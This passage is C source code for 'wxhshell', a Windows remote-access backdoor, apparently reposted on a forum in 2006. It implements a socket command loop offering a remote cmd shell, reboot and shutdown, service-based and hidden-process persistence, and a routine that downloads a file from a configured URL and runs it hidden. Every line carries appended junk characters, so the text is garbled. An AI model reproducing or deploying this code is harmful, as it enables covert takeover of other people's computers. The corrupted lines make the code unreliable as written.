  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l.3|0lopX)  
  } tQYkH$e`/{  
  else { duT'$}2@>  
0<4Nf]i  
    switch(cmd[0]) { kWW$*d$  
  Xc H_Y  
  // 帮助 +_"AF|  
  case '?': { ]ur_G`B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |9*8u>|RC  
    break; }\Ri:&?  
  } HCIS4}lQ  
  // 安装 aFf(m-  
  case 'i': { K@R * V  
    if(Install()) G.l ~!;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xk\n F0z  
    else N:% }KAc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0~( f<:  
    break; Z6\H4,k&  
    } >"?jW@|g  
  // 卸载 >\s8S}p  
  case 'r': { Mq,2S  
    if(Uninstall()) *{fL t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK=0juv<E  
    else y c:y}"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gw@]w;ed  
    break; - :~"c@D  
    } MIx,#]C&  
  // 显示 wxhshell 所在路径 K Ml>~r  
  case 'p': { 29tih{ xx  
    char svExeFile[MAX_PATH]; 6(=>!+xpRr  
    strcpy(svExeFile,"\n\r"); -?}Z0e(w  
      strcat(svExeFile,ExeFile); T@P[jtH<d  
        send(wsh,svExeFile,strlen(svExeFile),0); k,GAHM"'  
    break; Q*K31Ln  
    } !U[/P6 +0  
  // 重启 nd3n'b  
  case 'b': { S|pf.l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7B s:u  
    if(Boot(REBOOT)) (Ee5Af,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *i,@d&J y]  
    else { LZ-&qh  
    closesocket(wsh); AdGDs+at,  
    ExitThread(0); B$D7}=|kc  
    } Z#znA4;)  
    break; t4[<N  
    } NDYm7X*et  
  // 关机 2Sb68hJIE  
  case 'd': { cD JeYduK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `c.P`@KA  
    if(Boot(SHUTDOWN)) ;t\oM7J|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Je &O  
    else { ~`Rb"Zn  
    closesocket(wsh); Bp9_\4  
    ExitThread(0); %k =c9ll@:  
    } 2|}`?bY]i`  
    break; @ CNe)&U  
    } 8m"(T-wb6{  
  // 获取shell 1a@b-V2 d&  
  case 's': { V*j1[d  
    CmdShell(wsh); R^k)^!/$f  
    closesocket(wsh); Pk/3oF  
    ExitThread(0); ]}z"H@k  
    break; ,9YgznQ  
  } p{0NKyOvU  
  // 退出 `JzP V/6  
  case 'x': { >j6"\1E+Dz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #dhce0m  
    CloseIt(wsh); P+<4w  
    break; pSKw Xx  
    } ]@wKm1%v  
  // 离开 c\DMeYrg  
  case 'q': { 0i4XS*vPv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F|bg2)|du8  
    closesocket(wsh); .g?Ppma  
    WSACleanup(); ~v|NC([(  
    exit(1); kkU#0p?7  
    break; kA4bv}  
        } 1Rd2Xb  
  } tYUg%2G  
  } Q$58 K9  
YS0^ !7u  
  // 提示信息 U>0~/o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nf!WqD*je  
} a?1lj,"~R  
  } )uRR!<"~  
Ge^(Ag}vE  
  return; %pj T?G7  
} zJH:`~GxE  
tb/`*Yl@  
// shell模块句柄 9(pF!}1 %\  
int CmdShell(SOCKET sock) }P\J?8  
{ c0f8*O4i  
STARTUPINFO si; rk8Cea  
ZeroMemory(&si,sizeof(si)); Dj9ecV`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EV[ BB;eb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E>isl"  
PROCESS_INFORMATION ProcessInfo; Zt ;u8O  
char cmdline[]="cmd"; Vu5Djx'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F#KUu3;B  
  return 0; r<OqI*7  
} p>h}k_s  
#&,~5  
// 自身启动模式 I' 'X\/|  
int StartFromService(void) Vi<6i0  
{ ,u S)N6'b6  
typedef struct THy{r_dx  
{ '4)4*3z,  
  DWORD ExitStatus; ,Q,3^v-  
  DWORD PebBaseAddress; e !N%   
  DWORD AffinityMask; Y,M 2 D  
  DWORD BasePriority; UFGUP]J>  
  ULONG UniqueProcessId; _jM+;=f  
  ULONG InheritedFromUniqueProcessId; /RemLJP F  
}   PROCESS_BASIC_INFORMATION; ^KUM4. 6  
&Pe[kCO]  
PROCNTQSIP NtQueryInformationProcess; s8+{##"1 q  
EYR%u'&7'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bltZQI|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9S/X,|i  
OLE@35"v]  
  HANDLE             hProcess; ;T3}#Q*qC  
  PROCESS_BASIC_INFORMATION pbi; aE[:9{<|  
FV\$M6 _  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ks7id[~&iY  
  if(NULL == hInst ) return 0; $ E-c%-  
[B@R(z=H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L*zfZ&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8d[!"lL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4P=)u}{]^#  
d~;U-  
  if (!NtQueryInformationProcess) return 0; 1EQLsg`d^  
ZsN3 MbY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6yK"g7  
  if(!hProcess) return 0; ~F13}is  
jygKw+C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q DPl( WXb  
91|~KR)  
  CloseHandle(hProcess); jwO7r0?\`G  
# B@*-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * TByAa{  
if(hProcess==NULL) return 0; kb[+II  
,+!|~1  
HMODULE hMod; qF4=MQm\aE  
char procName[255]; %o_CD>yD  
unsigned long cbNeeded; ^w*&7.Z  
Rf TG 5E)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,:pKNWY)Q  
b5?k)s2  
  CloseHandle(hProcess); PJ2m4ulY  
7-MyiCt  
if(strstr(procName,"services")) return 1; // 以服务启动 kk ZMoK  
b|u,[jEB  
  return 0; // 注册表启动 v-XB\|f  
} qkD9xFp  
)TOKHN  
// 主模块 /vAA]n8  
int StartWxhshell(LPSTR lpCmdLine) &Vbcwv@  
{ &24>9  
  SOCKET wsl; xbs X-F  
BOOL val=TRUE; 7l3Dx w/N  
  int port=0; D)bR-a_^  
  struct sockaddr_in door; ZU.f)94u  
Idr|-s%l6'  
  if(wscfg.ws_autoins) Install(); ;fB!/u  
w"AO~LF  
port=atoi(lpCmdLine); v<E_n;@9k  
ZmZ7E]c  
if(port<=0) port=wscfg.ws_port; r?}L^bK  
-z'6.I cO  
  WSADATA data; # N'_~:H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vjd;*ORB  
[t"#4[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )w0K2&)A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hSXZu?/  
  door.sin_family = AF_INET; UB7C,:"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xagz(tm/  
  door.sin_port = htons(port); VV"1IR  
\= Wrh3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w C-x'  
closesocket(wsl); T^H`$;\  
return 1; *wV`7\@  
} L87=*_!B;  
%i@Jw  
  if(listen(wsl,2) == INVALID_SOCKET) { ~i=5NUE  
closesocket(wsl); X@Yl<9|i  
return 1; lQ|i Ws  
} \<x{U3q5  
  Wxhshell(wsl); ;c|G  
  WSACleanup(); 4n/CS AT1  
8[d6 s  
return 0; q@}tv =}  
GtkZ%<KF9  
} ;xjw'%n,  
=EUi| T4:  
// 以NT服务方式启动 ?Bsc;:KF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !N\i9w}  
{ ^\FOMGai  
DWORD   status = 0; 3/*<i  
  DWORD   specificError = 0xfffffff; &I?d(Z=:\  
kRB2J3Nt.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %-3wR@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y5N,~@$r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; { u1\M  
  serviceStatus.dwWin32ExitCode     = 0; MJG)fFl] O  
  serviceStatus.dwServiceSpecificExitCode = 0; nj7\vIR7  
  serviceStatus.dwCheckPoint       = 0; jT:kk  
  serviceStatus.dwWaitHint       = 0; -](3iPy}  
NXdT"O=P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b0[H{q-z{X  
  if (hServiceStatusHandle==0) return; yA^+<uz}  
|=#uzp7*  
status = GetLastError(); eG%Q 3h  
  if (status!=NO_ERROR) e*pYlm  
{ RhI>Ak;-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ){"-J&@?  
    serviceStatus.dwCheckPoint       = 0; C%;J9(r  
    serviceStatus.dwWaitHint       = 0; e18}`<tW-  
    serviceStatus.dwWin32ExitCode     = status; ! f*t9 I9Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cm[^+.=I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sU;aA0kz  
    return; qm|T<zsDY#  
  } pR7D3Q:^7  
Hb@PQcj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UYsyVY`Fm|  
  serviceStatus.dwCheckPoint       = 0; |H4f&& Wd  
  serviceStatus.dwWaitHint       = 0; Uf<IXx&;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uOQl;}Lk5  
} A9ru]|?  
%<;PEQQ|C  
// 处理NT服务事件,比如:启动、停止 _2nNCu (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mY!&*nYn|  
{ ,B$m8wlI|  
switch(fdwControl) L=<{tzTc  
{ ;p/$9b.0:  
case SERVICE_CONTROL_STOP: $qfNEAmDf\  
  serviceStatus.dwWin32ExitCode = 0;  H+Se  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jHBP:c  
  serviceStatus.dwCheckPoint   = 0; xJF}6yPm@  
  serviceStatus.dwWaitHint     = 0; 17@#"uT0  
  { 5/4q}U3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *)um^O  
  } QHbjZJ N  
  return; AOR(1Qyo  
case SERVICE_CONTROL_PAUSE: E~eSHJ(oR7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p^9u8T4l1  
  break; R^tDL  
case SERVICE_CONTROL_CONTINUE: VT5o#NR{R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uI+^8-HZ;  
  break; IjnO2X  
case SERVICE_CONTROL_INTERROGATE: Qj(|uGqm3  
  break; FAF+}  
}; lb[\Lzdvmu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W5zlU2  
} UN7J6$!Cx7  
^HI}bS1+|  
// 标准应用程序主函数 wsyAq'%L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b%D}mxbS  
{ 3NxwQ,~  
+G lb  
// 获取操作系统版本 Nm,9xq  
OsIsNt=GetOsVer(); 88M$mjx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6@cT;=W;xj  
w[?E oFI$Y  
  // 从命令行安装 ahx*Ti/e  
  if(strpbrk(lpCmdLine,"iI")) Install(); GHR,KB7 xM  
D?}K|z LQ  
  // 下载执行文件 EmubpUS;  
if(wscfg.ws_downexe) { q5u"v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ahqsbNu1  
  WinExec(wscfg.ws_filenam,SW_HIDE); j;_ >,\  
} A"R5Fd%6pc  
Q:sw*7"F  
if(!OsIsNt) { Qr$Ay3#k  
// 如果时win9x,隐藏进程并且设置为注册表启动 \KT}T  
HideProc(); 9ld'SB:#  
StartWxhshell(lpCmdLine); */E5<DO  
} =U_O;NC  
else }='1<~0  
  if(StartFromService()) UsBtk  
  // 以服务方式启动 j5]6 CG_  
  StartServiceCtrlDispatcher(DispatchTable); l[Rl:k!  
else 0ntf%#2{  
  // 普通方式启动 = , ^eQZR:  
  StartWxhshell(lpCmdLine); T{Y;-m  
@>SirYh  
return 0; o@blvW<v7  
}
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只看该作者 1 发表于: 2006-10-10
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